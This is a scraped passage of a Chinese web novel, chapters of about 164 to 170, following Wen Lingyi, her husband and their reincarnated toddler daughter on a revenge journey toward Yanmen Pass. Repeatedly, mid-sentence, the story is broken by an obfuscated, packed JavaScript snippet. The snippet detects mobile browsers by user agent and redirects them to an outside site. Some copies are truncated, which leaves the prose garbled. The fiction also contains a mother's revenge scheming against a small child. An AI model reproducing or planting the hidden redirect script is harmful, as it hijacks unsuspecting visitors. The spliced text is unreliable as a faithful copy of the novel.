“合作谈不上吧,我可不想折断你的翅膀,也不会利用你,倒是可以引荐你认识一些朝廷里的高官,你要知道不管是在任何世界里,等级壁垒是很难突破的,而我可以帮你啊,至于以后你能不能帮我,我其实不在乎,毕竟我现在的爹娘和舅舅们,都超级厉害。”小囡囡笑眯眯的说:“怎么样?” 方静言捏了捏小囡囡的鼻子尖儿:“你给我介绍的高官,就是你众多舅舅中的一个吧?” “对啊,叫罗岳,不过暂时你们还不能见面,等我们从雁门关回来的。”小囡囡抬起手捂着额头:“不对,我不能带你去雁门关,到下个府城就送你去京城,让我娘给你写一封引荐信,以后就靠你自己了。” 方静言心理是雀跃的,要知道自己真的两眼一抹黑啊,完全不知道该怎么生活,出现小囡囡这样的贵人,简直是救星。 他们没有过泾水河,而是到了附近的泾河府停下来了。 小囡囡跑去找温令仪和裴祈安,由温令仪出面委托宋家钱庄的人护送方静言去京城,并且亲笔写了一封引荐信给罗岳。 方静言拜别了小囡囡一家,坐上马车时候感动的一塌糊涂,除了给了足够的盘缠,还准备了好几套换洗的衣服,如此贴心的人,谁能想到是萍水相逢呢? 送走了方静言,小囡囡一家三口租了大船过泾水河。 船家是个四十多岁的中年汉子,壮硕的身材和黝黑的脸庞,一笑露出一口白牙,是个憨厚的人。 泾水河的河面宽阔,所幸今日风平浪静,船家自报姓名叫江安,就住在泾河边上的太平村。 裴祈安问:“江大哥,这水患和时疫刚过,受影响可大啊?” 提到这个,江安唉声叹气:“人活的可不易啊,发大水的时候,俺家婆娘和三个孩子都被水冲走了,等俺救了爹娘回来的时候,家里的房屋都不见了,俺以为这辈子完了,可是万万没想到,俺家婆娘和三个孩子半月前回来了,还带了银子,说是京城里遇到了活菩萨哩。” 小囡囡眼睛都亮了,立刻看温令仪,温令仪微微摇头,不让她声张。 江安说:“俺盖了屋,置办了船,一家日子安稳下来了,就是不知道俺婆娘说的众合商会啥时候到泾河府,俺就算不要钱也去帮忙,承了人家的恩情,得报恩。” “确实不容易。”裴祈安说。 江安笑了:“只要活着,俺们就知足,俺家婆娘最近性子都变了,谁家有个为难的时候都去帮忙,还对俺爹娘孝顺的厉害,婆娘说了,生养肉身的爹娘是恩人,别说还是亲人了,京城里的温家贵人,无亲无故都尽力救大家伙儿的命呢,那才是顶顶好的大善人,是活菩萨。” 小囡囡心里头别提多美了,她没有穿越的时候也做善事,动辄千万、上亿,可心里波澜不惊,哪里有什么成就感?可现在她知道了,原来做好事被人记得,竟能让人心里舒坦的像是整个人都通透了一般,就算是人家感激的不是自己,可娘亲啊,娘亲厉害就是自己厉害!有个词叫什么来着?叫与有荣焉。 裴祈安问:“江大哥,吃这碗饭,可有什么难处?” 江安摆了摆手:“没什么难处,挣钱活命,受点儿委屈都寻常,捡钱还要弯弯腰呢。” 这状态,小囡囡都羡慕了。 多好的心态! 这就是普通人的处世智慧,虽说看着没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小囡囡取出骨哨,尖锐的声音传出去好远,就在小船上的人把黑衣人捞上来的时候,岸边数不清的小船离弦的箭一般往这边来。 江安两腿一软跪坐在地上,脸色苍白如纸。 小船上的人突然高喊一声:“**啦!泾河府的船夫**啦!” 裴祈安看了眼小囡囡,回头看温令仪。 温令仪起身进了船舱…… 第165章 求人都这么大阵仗吗? 裴祈安微微挑眉,勾起唇角笑了,这便是自己的女人,绝非没见识的人,遇事不慌,知道进退,真是哪哪儿都好。 江安吓得站不起来,回头喊撑穿船的兄弟们赶紧调头,打不过还不跑?那不是吃亏没够吗? 小囡囡看了眼裴祈安:“爹爹,你去陪着娘亲。” 江安眼珠子都要冒出来了,见裴祈安要走,一把抱住了裴祈安的大腿:“大兄弟啊,孩子这么小,你咋能只顾着婆娘不管孩子?” “江大哥,你只管安心。”裴祈安拔腿走了。 事情闹大了,毕竟要惊动当地衙门,当地衙门可能不认识温令仪,但没人不认识摄政王,所以他确实需要避嫌。 船舱里,夫妻俩相对而坐。 船舱上温令仪看裴祈安,裴祈安笑了:“咱们的女儿当真是了不得,青出于蓝而胜于蓝。” “你可这是心大。”温令仪嘴上这么说,但心里是一点儿不担心。 江安欲哭无泪,看这一家子都是谈吐不凡的贵人,贵人就这么办事吗?这孩子多大?比自己最小的儿子还小不少,也就两三岁的样子啊。 下定决心,要是敢对这么小的孩子动手,自己就拼了这条命。 就在江安吓得六神无主的时候,那些小船以极快的速度冲到近前,江安一把手抱住了小囡囡护在怀里,还不忘说一句:“孩子,你是个苦命的孩子。” “少主。”整齐划一,每一艘小船上站着五个人,这五个人单膝跪地。 江安傻眼了,少主?哪里有少主? 小囡囡抬头:“江伯伯,是我。” “你?”江安只觉得眼前发黑,直接坐在地上,小心翼翼的把小囡囡放在地上。 南英从后面赶上来,跳上甲板单膝跪地:“老奴没有护好少主,请少主责罚。” “南爷爷,前面商船是天下商会的,上去查看是否装着违禁的货物,做实之后报官。”小囡囡脸色阴沉的说:“再让人通知当地漕帮,就说本少主要见见他们的当家人。” “是!”南英得了吩咐,飞身落在其中一条小船里,留下二十个人四条船护着他们的船,余下的人跟着南英往岸边去。 残阳如血,染红了半个江面,江安站在不远处看着眼前的这一切,心里直嘀咕:“天奶奶啊,这是真开眼了啊,自己这辈子活成了什么样子,都不如个小娃娃啊。” 小囡囡也不回船舱里去,就坐在甲板上,粉雕玉琢的孩子,怎么看都人畜无害。 江安紧紧地盯着码头的方向,不知道接下来会发生什么,但有一点是确定了,江安知道自己不用害怕了,该害怕的是别人。 太阳落下去了,只剩余晖。 对面的商船开始动了,往两边散开,让出来了码头上最好的位置。 南英驾着小船回来:“少主,可以靠岸了。” 小囡囡回头:“江伯伯,我们靠岸。” 江安这会儿觉得自己脊梁骨都硬了,这辈子就从来没有这么硬过,指挥兄弟们开船靠岸。 放下跳板,小囡囡低声叮嘱江安:“江伯伯,我爹娘身份尊贵,不宜露面,您在这里等着,处理好事后再来接爹娘离开,江伯伯也放心,我必定会让你以后都在泾水河这一带横着走。” 江安连连点头:“是,是,少主尽可去忙,小的会照顾好老爷和夫人的。” 小囡囡看了一眼南英,南英变戏法似的取出来了面具和红色斗篷,等南英抱着小囡囡往下走的时候,江安偏头想了半天,突然一拍脑门,天道盟,原来是天道盟啊! 他是被吓傻了,大名鼎鼎的天道盟少主竟坐了自己的船,这简直是老天爷给的好运道,果然大灾过后,必定是后福无量的,老话都说大难不死必有后福嘛。 南英抱着小囡囡下船,小囡囡坐在椅子上,环视在场的众人,缓缓开口:“天下商会的人呢?” “小人,小人便是。”中年男人走出来,单膝跪地:“小人唐四见过少主。” 小囡囡没言语。 南英冷笑:“唐四,你少套近乎,道上的人都知道天道盟不耻天下商会的做派,已经和你们一刀两断了,没想到在小小的泾河府,你们竟如此目无王法,横行霸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小囡囡看白长鹤的面色不善,微微挑眉:“白爷爷,漕帮买卖有深有浅,天下商会的买卖不干净的多,如今天道盟既然来了,朝廷能管得,天道盟管,朝廷不能管得,天道盟也要管,如今天道盟想要和漕帮合作,不知道漕帮的事,白爷爷可能做得了主啊?” 白长鹤倒吸了一口冷气,这小娃娃口气好大。 转念一想也不怪人家敢说这样的话,天道盟确实惹不得,漕帮的事确实能做主,至少泾水河这一段是绝对说了算的。 刚才天下商会的漕运船都被带走了,这件事到底怎么处理尚不可知,看来天道盟和天下商会是彻底闹掰了。 白长鹤笑了:“你说的人是什么人?” “船夫,泾河府到这边的客船。”小囡囡说。 白长鹤偏头跟身边的人确认了一遍,回头冲着小囡囡一抱拳:“刚好漕运少船老大,一个月活儿差一点儿也有二十两银子,活儿好的话能那三五十两,少主觉得如此可行?” “多谢白爷爷。”小囡囡这才起身,走到白长鹤面前,拱手一礼:“白爷爷照拂了我的人,我自要投桃报李,漕帮这一块我只认您老人家。” 白长鹤也是老*江湖了,哪里听不出来小囡囡的弦外之音,这小丫头要动手,不是对天下商会,而是对漕帮。 想到这里,白长鹤舒坦了,他算是看明白了,这小人精算是把自己的底细摸透了,这看似轻飘飘的一句话,就直接戳到了自己心尖子了。 这么多年,漕帮的帮主是父传子,子传孙,这些晚生后辈渐渐地就不搭理他了,可老帮主难道就没告诉过自己的子孙,当初创建漕帮的时候,自己鞍前马后用了多少力气,说句掏心窝子的话,漕帮的半壁江山都是自己打下来的。 可那些个晚生后辈对自己指指点点的可不是一次两次,如果天道盟要动手,自己乐见其成! “白某就仰仗天道盟了,少主放心,漕帮做事从不做犯禁的事。”白长鹤说。 小囡囡再次致谢后,迈步往外走,事情怎么处理都交给了南英。 白长鹤回到家里,一杯热茶都没喝完,下面的人就来报了,天下商会的那些违禁的盐直接送到了衙门口,苦盐和精细的白盐都区分开,包括天下商会的所有参与此事的人,只要在泾河府的人都被带去了。 衙门被逼得没办法,只能照章办事,这下轰动了江南府周围的百姓。 这些百姓都来围观,看到那些白花花的盐,都恨不得抓两把回家。 “这天道盟是变了性子吗?”白长鹤眉头紧锁,虽然天道盟之前也没有打家劫舍过,可是如此行侠仗义的时候也真不多见啊,到底是发生了什么大事,那个小娃娃虽然口齿伶俐,可那么小的孩子都不足三岁,若无高人背后撑腰,无论如何也不能让人信服,更何况是天道盟呢? 白长鹤自问自说,心里越发的相信只要自己投靠天道盟,漕帮这口恶气就出了,保不齐还能坐一坐漕帮帮主的位子呢。 吩咐手底下的人再探再报。 结果更让白长鹤瞠目结舌的消息送回来了,靖安司的人到了江南府,直接摘了江南府府尹的乌纱帽,全家被囚,押送京城了。 白长鹤手里的茶盏掉在地上摔了个粉碎,不敢相信自己的耳朵,确认了三次后,拍掌大笑,这是啥?天道盟的厉害可不单单是江湖事了,那是朝廷背后有人支持,如此看来这江湖事和朝廷事,再也不是井水不犯河水了。 好! 世道乱起来才好,只有没用的怂人才怕世道乱,如他这般老当益壮的人怕甚?乱世出枭雄! 白长鹤召集心腹聚义厅议事,消息从江南府传出来,白长鹤安插在漕帮各处的人开始收集证据。 小囡囡没在这边久留,让南英带着江安来拜见白长鹤。 白长鹤对江安的态度那叫个一百八十度大转弯,什么二十两,三五十两,月钱百两银,直接管自己手底下的一只船队,十艘货船。 货物安排不用江安操心,没有什么货多,货少的区分,就是一月不干活,月钱照发。 言外之意,我白长鹤够意思,你天道盟少主安排的人,我必须照顾好。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845038|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安从江南府回来的路上都跟做梦似的。 回到家里抱着自己的婆娘嚎啕大哭:“俺发达了,俺要带着你们娘几个过好日子了。” 而此时。 小囡囡的马车已经离开了江南府往雁门关去了。 从京城到雁门关,走到泾水河就过半了,主要是虽然京城在北地,可要说富庶还得是江南,所以这官道修的极好。 有了两辆马车,小囡囡说什么也不肯跟裴祈安和温令仪坐在一辆马车上了,她四仰八叉的躺在床铺上睡大觉,哪里还有当天道盟少主的模样。 离泾水河越来越远,水患影响也就少了很多,这边的人都在忙着收拾庄稼。 温令仪撩起帘子看着外面巍巍青山,忍不住感慨,这个时候的漠北必定已经飘雪了,江南富庶是有道理的,这里的人有天养活。 不知道是不是错觉,温令仪总觉得小囡囡背地里用了人手,因为接下来的路走的非常顺利,再也没有遇到什么糟心的事。 一家三口只要看到繁华的小镇就会停下来,欣赏美景,品尝美食,丝毫看不出着急赶路的样子。 温令仪心里是着急的,可裴祈安不着急,小囡囡也不着急,温令仪就知道这两人背地里早就动手了,自己好命,有人帮衬,这份福气可不是谁都有的,自己要是抬举,更要惜福。 虽然在药王谷很多年,但温令仪并不曾在江湖上行走过,所以很多美景都会让她忍不住感慨,并且一家人并不住在官府开设的驿馆里,而是每到一处都有天道盟的人接应。 距离雁门关不足百里的地方是朝阳府,朝阳府的府尹在他们还没到的时候,就被靖安司押解回京了,至于罪状,据说拉走了一马车。 温令仪立在庄园的观景台上,抬头是脸面不断地青山,偏头问裴祈安:“这山的尽头就是雁门关了吧?” 裴祈安负手而立:“阿宁很希望快点儿到雁门关吗?是想要见谁呢?刚好我有个人给你送来了。” 说着,裴祈安往门外看了眼,温令仪回头吓了一大跳:“这怎么也送来了啊?” 第167章 找死,得成全,刚好自己愿意成全! 温令仪脱口而出,结果一转头身边哪里还有裴祈安的影子,正纳闷的时候,小张氏嗓子都沙哑了,跪在地上:“夫人啊,这到底是怎么了啊?” “嗯。”温令仪沉吟半晌。 小张氏眼泪哗哗往下掉:“奴婢在府里好好地,可突然就被人掳走了,还把小公子一起掳走,这一路上跑的心肝都要碎掉了,夫人啊,是您想要见小公子吗?” “算是吧。”温令仪坐下来:“起来吧,回头往雁门关去,也让小公子见一见他爹,孩子认人了,总不能有朝一日连自己的亲爹都不认得了。” 小张氏这一路上啥都想过,当然也想过是要去雁门关,如今虽然遭罪还提心吊胆了这么久,可如今这可是最好的结果,不管怎么说,总不至于死,再说这孩子就怕有个比较,夫人跟前长大的小小姐那叫一个乖巧动手,聪明伶俐,可自己眼皮子底下长大的小公子真就太不是个东西了,自己用心教了,当然也没说请什么夫子啥的,但该玩闹就带出去玩闹,吃好喝好伺候着,偏偏这是个混不吝,对身边的人动辄打骂,甚至还敢对自己动刀,这是什么混账东西啊! 只要不高兴,就一口一个贱婢,不知道到底是根子上就缺德带冒烟的,还是有人给挑唆坏了,按那个不省心的婆子都撵出去了,按理说府里也没有这样的人了。 “好了,下去好好歇着,明天还要赶路的。”温令仪说。 小张氏抹着眼泪退下了,刚出门就听到晏明昭小声嘀咕:“该死的女人,自己亲生的不疼,疼那个野种,回头我就弄死她。” 小张氏被吓得眼前发黑,发誓不会让晏明昭和小囡囡遇到。 等小张氏退下后,温令仪静静地等着,裴祈安必定是要来跟自己说一说这到底是哪一出了。 可没想到裴祈安不止自己来了,怀里还包着小囡囡。 “你们俩这是要做什么?”温令仪皱眉,心里已经有了隐隐的猜测。 裴祈安抱着小囡囡坐在旁边:“雁门关这边要做的事情很多,不管是我还是天道盟的少主都不宜露面,我们要去会一会熟人。” “要去见萧玄策?”温令仪问。 小囡囡点头:“是啊,大夏境内的天道盟,那只能是我的,干爹送礼不能真小气,再说漕帮的分支最近活动频繁,都是往雁门关来的,我和爹爹要去看看。” 温令仪点了点头:“如此也好。” “对了,沐白带着你的师兄们也过来了,明天能到,到时候你们一起往雁门关去。”裴祈安说。 温令仪都不觉得意外。 毕竟自己不是早就猜到了嘛,这父女二人看似无所事事,背地里一定很忙,如此也好,自己专心致志的对付穆青。 “娘亲。”小囡囡靠在裴祈安的怀里,看着温令仪。 温令仪柔声问:“囡囡,怎么了?” “晏明昭刚才偷偷骂我了,说要弄死我这个野种,还说你是个坏女人,自己亲生的不疼,疼我这个野种。”小囡囡委屈的撇嘴儿。 温令仪明白小囡囡的意思了,晏明昭是二哥的克星,自己要趁机处理掉,谁说小孩子是无辜的?这个无辜的小孩长大了会踏着她的至亲血肉往上爬,仇在,得报。 至于**,那要看晏怀卿了。 翌日。 温令仪没着急出发,快晌午的时候就见到了药王谷来的人,除了三师兄、四师兄、七师兄和小师兄沐白外,还有若桃。 若桃见到温令仪跑过来,拉住她的衣袖就红了眼眶:“姐姐,你是专门来为我娘亲报仇的对不对?” “嗯。”温令仪确实是来杀穆青的,说为上官子玉报仇也不为过。 若桃抹了一把眼泪:“算我一个。” “可是穆青认得你。”温令仪拉着若桃的手坐下:“我答应过姑姑要保护好你,怎么能让你涉险呢?” “你等等。”若桃起身就跑出去了。 温令仪哭笑不得,跟师兄们挨个行礼。 沐白笑而不语的看着温令仪,不时往门口看。 温令仪被沐白的表情逗笑了,往门口看去的时候说:“怎么,小师兄很喜欢若桃吗?” 话音落下,温令仪就再也说不出来一个字了。 外面走进来了一个娉婷少女,容貌绝色,走路如弱柳扶风,明眸皓齿,那一双水汪汪的眼睛像是会说话似的。 这是……若桃吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845039|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温令仪摇头,那绝不可能,若桃是个跳脱的性子,活泼的很,面前这可是个十足十的大家闺秀模样啊。 “姐姐,认不出来了吧?”若桃的声音从对面这绝色美人的嘴里发出来。 温令仪直接站起来了:“若桃?你这是对自己做了什么?” “当然是易容术。”沐白有些得意的说道:“若桃最是有天赋,只学了两个月就学到了精髓,别说这副闺秀的样子,如今的若桃可以是千人千面。” 温令仪冷不丁想到了叶染秋,作为上一世最重要的人物,易容术三个字只要听在耳朵里,就免不得会想到她。 虽然没见过叶染秋易容后的模样,但能骗过自己的娘家人,显然十足十的像。 这本就很厉害了吧? 到底是自己没见识,眼前的若桃才是厉害的,非但容貌丝毫不见痕迹,就是言谈举止也跟原本的若桃大相径庭,这才是易容术啊,简直像是换了个人。 “确实厉害,若桃是想要跟在我身边吗?”温令仪问。 若桃眨了眨眼睛,扭头又跑了。 温令仪直接去看沐白,她觉得若桃是需要保护的,毕竟保不齐什么时候就露出马脚了,可又觉得若桃刻苦学习,为的就是手刃仇人,自己这话也说不出口,真是左右为难。 “夫人。” 温令仪看过来,身体比头脑要快,脱口而出:“碧桃,你怎么也跟来了?” “我是若桃啊。”顶着碧桃的脸,说话的声音是若桃:“夫人,我一定要跟在夫人身边,我要亲手杀了那个害**娘亲的人,我这是在报答娘亲的养我之恩。” 温令仪啧啧称奇:“好好好,就把你带在身边。” 在这边用过了午饭,一行人乘坐马车离开,温令仪看了易容成碧桃的若桃,柔声:“只管跟在我身边,切不可鲁莽。” 话音刚落,就听到马车外面晏明昭在嘶吼:“我要见娘亲!我就要跟娘亲在一起,你这个贱婢放开我!” 温令仪撩起帘子,看到小张氏额头青筋都凸起了,她怀里的晏明昭跟疯了一般,微微挑眉:“那就放在我这边吧。” 找死,得成全,刚好自己愿意成全! 第168章 穆青阴恻恻的笑了 晏明昭愤恨的推开小张氏,张开手往温令仪这边跑,他以为温令仪必定会蹲下来迎接自己,结果还没到温令仪跟前,温令仪已经转身走了。 他愕然的站在原地,不敢相信的看着温令仪的背影,低头看看自己小小的手,缓缓地攥紧了拳头,迈步跟上来的时候,奶声奶气的叫着:“母亲,母亲等等孩儿。” 温令仪回到屋子里坐下,随手取过来一本书翻看,根本就没有搭理晏明昭的心思,当然也没有要自己亲手处置晏明昭的意思,毕竟对一个这么小的孩子亲自动手,显然还过不了自己心里那一关。 原以为以晏明昭的性子,必定会用作闹引自己注意,结果半天也不见一点儿动静,抬头看过来,发现晏明昭就乖顺的坐在自己对面的小凳子上,看着自己。 那一双眼睛像极了晏怀卿,专注的看着一个人的时候,不不不,就算是看一条狗的时候都觉得情意绵绵。 晏明昭见温令仪看自己,立刻挺了挺小身板:“母亲,是昭儿不好吗?为何不喜欢昭儿呢?我可是母亲的儿子啊。” 温令仪微微蹙眉,低头继续看书。 只要温令仪低头看书,晏明昭就一点儿声音也没有。 小孩子懂规矩的不少,但晏明昭平日里的所作所为可不是有规矩的人,再说了,就算再懂规矩,不到两岁的孩子也少见这般能忍得住的。 温令仪抬起手压了压额角,上一个如此懂事,甚至比晏明昭更动手的孩子是囡囡,囡囡的来历摆在那儿,丝毫不突兀,甚至囡囡很多时候都怕吓到自己,会藏拙。 这人世间,不对,自己这一世似乎真的极不太平,不单单是因为自己,甚至自己的作用都极小,反倒是先有小囡囡再有墨染,这次出来又遇到了个方静言,这些人就跟下饺子似的到了大夏,而且都成了自己的身边人,甚至叶染秋都透着不寻常,她说是梦见过不一样的人生,可谁又能断定是梦而不是跟自己一样重生回来的呢? 如此想,晏明昭的表现就不奇怪了。 这个真是有意思。 不敢想象若非自己重生,更有这么多助缘在,但就是晏明昭和叶染秋两个人,自己就应付不过来了,说许这就是老天让自己重新过一辈子,也让那些作恶多端的人也明明白白的再活一次,善恶到头终有报,这现世报才是最大快人心的。 一盏茶颤巍巍的送到自己面前。 温令仪看着那端着茶的小手,抬头看晏明昭那可怜巴巴的样子,淡淡的说:“你不是我的亲生子。” 晏明昭手一抖,没有放下的茶盏落地,瓷片纷飞,他呆立当场,就那么直勾勾的看着温令仪,眼里是疑惑,是不可置信的表情。 就一句话,温令仪确认了自己的猜想,多说半个字都算点拨,她脸色一沉:“回去张氏那边安生待着,此番送你去雁门关,你会跟着你父亲。” 晏明昭步步后退,转身哇一声哭了,跑出门外。 非常识时务,被吓到了,是因为自己知道真相,幸亏有小囡囡先给自己涨了见识,否则这么小的孩子,一幅可怜巴巴的样子,保不齐自己就动了恻隐之心。 从始至终不把这个孩子放在身边,也是为了让自己记住仇恨,不会因为这还是个不知世事的孩子就动了恻隐之心,如今看来自己那点子不值钱的良善,都显得可笑。 毕竟叶染秋也好,晏明昭也好,明知他们上一世如何残害自己和温家,可哪里有半分赎罪的心思,却因为知道上一世的事,想方设法的从自己身上捞好处! 叶染秋知道捞不到,抽身而去想要自保,却怎么都没想到她的亲生儿子竟也知道上一世的种种,真是天都助自己报仇雪恨! 小张氏看到去而复返的晏明昭,下意识的站起来了,心也提到了嗓子眼儿。 “我以为都怪你。”晏明昭说了这么一句,自己爬上床躺下了。 对,他真的以为是小张氏不老实,勾搭了父亲想上位,为了固宠把自己带在身边,发现自己讨厌她,又下了血本要把自己养废了。 晏明昭心里都把小张氏杀死无数次了,要不是因为自己还是个小孩模样,需要有人照顾,哪里会让小张氏活到现在? 可现在他明白了,根本不是小张氏,而是温令仪早就知道真相,并且安排了小张氏,甚至是所有人,女人恶毒起来是让人看不透的,现在就只能赌温令仪知道的不多,那样自己还能活着到雁门关。 小张氏一头雾水,但这些日子领教过了小魔头的狠辣和蔫坏,只能小心翼翼的伺候着。 本以为还是要闹腾的,结果晏明昭很快就睡着了。 温令仪又在这边住了一晚,翌日清晨才离开。 她知道裴祈安和小囡囡必定在一起,至于去做什么都不重要,重要的是裴祈安一定会保护好两个人的女儿。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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穆青倒是想要请人出手把温令仪抓来,可梅山那次得罪了最支持自己的两个家族,别人只怕根本不能得手。 “报!” 晏怀卿冷声:“说!” “报主帅,城门外来了四辆马车,车中夫人说是您的家眷,带着幼子前来探望。”来人说着,把信物交给了福安。 福安认得家里的信物,转身到了二门外:“爷,确实是府中信物。” 晏怀卿看看穆青,穆青阴恻恻的笑了。 这是什么?这不就是瞌睡来了有人送枕头嘛,真是好运道啊。 第169章 看到了吗?这是个有心人! 温令仪没有等多久,晏怀卿亲自出门来迎接。 看着晏怀卿骑着棕红色战马威风凛凛的过来,晏明昭的心都要从嗓子眼儿跳出来了,这就是他将来的样子!比亲爹威风一万倍,自己会成为大夏的少年将军! “父亲!”晏明昭率先探出头冲晏怀卿招手。 晏怀卿只当没听到,心里早就厌恶透了这个让自己诸事不顺的丧门星了。 翻身下马直奔温令仪的马车,拱手一礼:“令仪千里迢迢前来探望,为夫受宠若惊,快请随为夫进城。” 马车里的温令仪淡淡的说:“关内泾水河一代爆发时疫,十分危险,我担心雁门关将士安危,请了几位师兄过来帮忙。” 药王谷的人怎么阴魂不散? 晏怀卿十分不喜药王谷的人,但温令仪是必须要留下的,只能说:“贤妻此举令瑾瑜心酸,不曾让贤妻凭着瑾瑜的本事妻凭夫贵,倒要为了瑾瑜的前途,千里奔波,进城吧。” “好。”温令仪根本就没看晏怀卿一眼。 晏怀卿骑着马跟在温令仪的马车旁边,城门打开,四辆马车缓缓入城。 正在养伤的罗政翻阅着兵书,亲兵来报:“罗副将,京城来人了。” “什么人?”罗政有一搭无一搭的问。 京城来不来人跟自己没什么关系,除非是罗家来人,不然自己收集的那些罪证不能拿出来,来人有什么用? 亲兵说:“是主帅的家眷带着幼子来了。” “啥?”罗政都站起来了:“温令仪来了?” 亲兵被吓一跳,咳嗽两声:“罗副将慎言,确实是主帅的正妻带着平妻和幼子来了,还带来了药王谷的人,说是担心关内时疫传染到这里,不放心。” 罗政抬起手扶住额头,喟叹:“糊涂!糊涂啊,来这里做什么?真真是放着好日子不会过啊。” 亲兵脑子里都要炸开花了,按常理这是人家的家务事,罗副将难道喜欢人家的妻子?我的天啊,自己发现了什么了不得的密闻! 怪不得罗副将处处都跟主帅作对,原来两个人情敌啊! “走!去见晏怀卿!”罗政迈步就要走。 亲兵就差抱着罗政的大腿了:“使不得使不得啊。” 罗政低头看着抓自己胳膊不肯松手的亲兵:“怎么就使不得了?” “罗副将啊,人家是夫妻团聚,您过去岂不是自取其辱?如今您这伤还没好,好好养伤才行,兄弟们可都指望您呢。”亲兵都将要哭了。 罗政眉头紧锁:“我去看伤不行?” “不行,真真的不行,若是有心人会来给您瞧瞧伤的,若是无心人,就算您去了,只能徒惹伤悲啊。”亲兵说。 罗政噗嗤笑了,打开他的手,回身坐在椅子上打量着亲兵:“你倒是个心思玲珑的,怎么着?我表现的如此明显吗?” 亲兵皮笑肉不笑的点头。 罗政摆手:“罢了,说了你也理解不了,不过你且等着,她一定会来看我!” 亲兵不敢接茬儿。 “别在我跟前碍眼,去忙你的。”罗政摆手。 亲兵不敢再说别的,拱手行礼后退下了。 罗政承认自己刚才是关心则乱了,这个时候温令仪来雁门关可不会是因为晏怀卿,至于时疫不过是个借口,若时疫到了雁门关,朝廷那边早就派人过来了,怎么也不会是温令仪先到。 “对了!是因为穆青!”罗政勾起唇角:“错怪她了,错怪她了。” 罗政一肚子官司,哪里知道此时的温令仪正看着一桌子丰盛的宴席犯愁呢。 “这位是?”晏怀卿看到了易容后的阿桃,心里就压不住火热,每次试过那人血药引后,吐血只是当时,还会很快引发缠丝毒的药性,这也是他控制不了的。 温令仪把目光从两位肚大如罗的小妾身上移开,看了眼阿桃说道:“是我师兄的徒弟叫雀枝。” “雀枝,好名字。”晏怀卿举起酒杯微微点头。 阿桃微微垂首也举起酒杯。 这让晏怀卿更是心里痒痒,他就知道女人都是一个德行,自己年轻,容貌俊美,手握兵权,但凡多看她一眼,她都会动心的,除了温令仪,也没人会不动心的。 “娘亲,你吃菜。”晏明昭的声音突兀的响起,晏怀卿蹙眉看过去,就见晏明昭在给小张氏夹菜。 小张氏低着头:“昭儿乖。” 晏怀卿舒展了眉头,他可不是没良心的人,记得小张氏的好,不过在这些人里,小张氏确实气度太差了些,这么久在京城也没什么长进,到底怪出身不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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福安在门外禀报:“爷,夫人带着雀枝姑娘离开了,还问了罗副帅的住处。” 晏怀卿脸色一沉,这个女人就不能消停点儿吗? “父亲,温令仪绝非善类啊,啊!”晏明昭身体像是破娃娃似的飞了出去,撞翻了椅子,摔倒在地上鼻子流出血来,抬头只看到了晏怀卿匆匆离去的背影…… 罗政翻看着兵书,心不在焉。 亲兵来报:“罗副将,晏夫人带着一女子登门求见。” 罗政丢开兵书,大步流星出来,冲着亲兵挑眉,那意思是:看到了吗?这是个有心人! 第170章 你猜,她知不知道你的底细? 温令仪带着若桃等在门口,罗政急匆匆的出来,见到温令仪就咧嘴儿笑了,有些红了脸,抬起手挠了挠头发:“咋还跑这里来了?这边可不安生了。” “听说罗副将受伤了,我过来瞧瞧,别无所长还能诊脉开药,罗副将为国为民以命相搏,值得敬重。”温令仪福了福身说。 罗政侧开身:“请。” 温令仪带着若桃往帐篷里面来。 说起来,晏怀卿在京城里哪有罗政有面子?罗政背靠祖父和兄长,只要不作奸犯科,就算纨绔一些也是被人敬重的,反倒是到了雁门关,晏怀卿住在元帅府,罗政只能住在兵营帐篷里,倒不是罗政不能住在这里,而是晏怀卿心里那点子小人得志的心思太上不得台面了。 亲兵殷勤的厉害,端茶送水忙活得脚不沾地,若桃看亲兵里里外外的好几趟,心里都默默叹气,干嘛总要晃来晃去呢?外面待着不好吗? 心里这么想,人站起来就出去了。 本来还没在意若桃的罗政扫了眼若桃到了门口的背影,心里头啧啧两声,这规矩不是谁都有的,也不知道这女子跟温令仪是什么关系,带在身边可要操心了。 